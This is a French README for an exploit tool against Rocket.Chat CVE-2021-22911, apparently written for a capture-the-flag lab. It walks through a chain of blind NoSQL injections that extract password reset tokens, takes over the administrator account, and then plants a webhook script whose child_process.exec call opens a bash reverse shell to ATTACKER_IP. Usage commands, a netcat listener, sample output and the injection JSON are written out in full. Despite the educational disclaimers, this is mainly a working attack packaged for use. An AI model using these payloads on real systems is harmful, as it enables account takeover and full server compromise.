Rocket.Chat CVE-2021-22911 Exploit

⚠️ AVERTISSEMENT - USAGE ÉDUCATIF UNIQUEMENT

Cet exploit est destiné uniquement aux tests d'intrusion autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur n'est pas responsable de toute mauvaise utilisation.

📋 Aperçu

CVE-2021-22911 est une vulnérabilité critique d'injection NoSQL non authentifiée dans Rocket.Chat qui mène à une exécution de code à distance (RCE).

• Score CVSS : 9.8 (Critique)
• Versions concernées : Rocket.Chat < 3.12.7
• Vecteur d'attaque : Réseau / Non authentifié
• Impact : Compromission totale du système

🎯 Détails de la vulnérabilité

Cet exploit enchaîne trois attaques par injection NoSQL :

Phase 1 : Réinitialisation du mot de passe d'un utilisateur à faibles privilèges

• Envoie une demande de mot de passe oublié pour un utilisateur à faibles privilèges
• Utilise une injection NoSQL aveugle avec l'opérateur $regex pour extraire le jeton de réinitialisation de mot de passe caractère par caractère
• Réinitialise le mot de passe à une valeur connue

Phase 2 : Réinitialisation du mot de passe administrateur

• Répète la phase 1 mais cible le compte administrateur
• Extrait le jeton de réinitialisation du mot de passe admin via une injection NoSQL aveugle
• Modifie le mot de passe administrateur

Phase 3 : Exécution de code à distance

• S'authentifie avec le compte administrateur compromis
• Crée une intégration webhook avec une charge utile JavaScript
• La charge utile utilise Node.js child_process.exec() pour lancer un shell inversé
• Déclenche le webhook pour exécuter le shell inversé

🛠️ Prérequis

pip install requests

🚀 Utilisation

1. Démarrer un écouteur Netcat (Terminal 1)

nc -lvnp 4444

2. Exécuter l'exploit (Terminal 2)

Saisie manuelle de l'IP :

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i 10.9.0.1 \
  -p 4444

Auto-detect tun0 IP (Recommended):
python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
  -p 4444

Arguments :

• -u : E-mail de l'utilisateur à faibles privilèges (doit exister)
• -a : E-mail de l'administrateur
• -t : URL cible (instance Rocket.Chat)
• -i : Votre IP d'attaquant (tun0)
• -p : Port de l'écouteur Netcat

Exemple de sortie

============================================================
  Rocket.Chat CVE-2021-22911 — RCE
  Target : http://chat.rocket.thm
  Shell  : 10.9.0.1:4444
============================================================

[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234

[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234

[PHASE 3] RCE
[!] Start your listener now:  nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
    userid : userid123456789
    token  : token123456...
[+] Webhook created
    http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener

🔍 Détails techniques

Format de la charge utile d'injection NoSQL

{
  "message": {
    "msg": "method",
    "method": "getPasswordPolicy",
    "params": [
      {
        "token": {
          "$regex": "^abc"
        }
      }
    ]
  }
}

Charge utile RCE (script de webhook)

class Script {
  process_incoming_request({ request }) {
    const require = console.log.constructor('return process.mainModule.require')();
    const { exec } = require('child_process');
    exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
  }
}

📚 Références

• Exploit original : enox - Exploit-DB 50078, 50108
• Analyse de la vulnérabilité : Blog de SonarSource
• Détails CVE : CVE-2021-22911

📝 Crédits

• enox - Développement de l'exploit original
• SonarSource - Recherche et analyse de la vulnérabilité

⚖️ Avis légal

Cet outil est fourni uniquement à des fins éducatives et pour des tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est une infraction pénale en vertu du Computer Fraud and Abuse Act (CFAA) et de lois internationales similaires.

Utilisez-le de manière responsable. Ne testez que les systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite.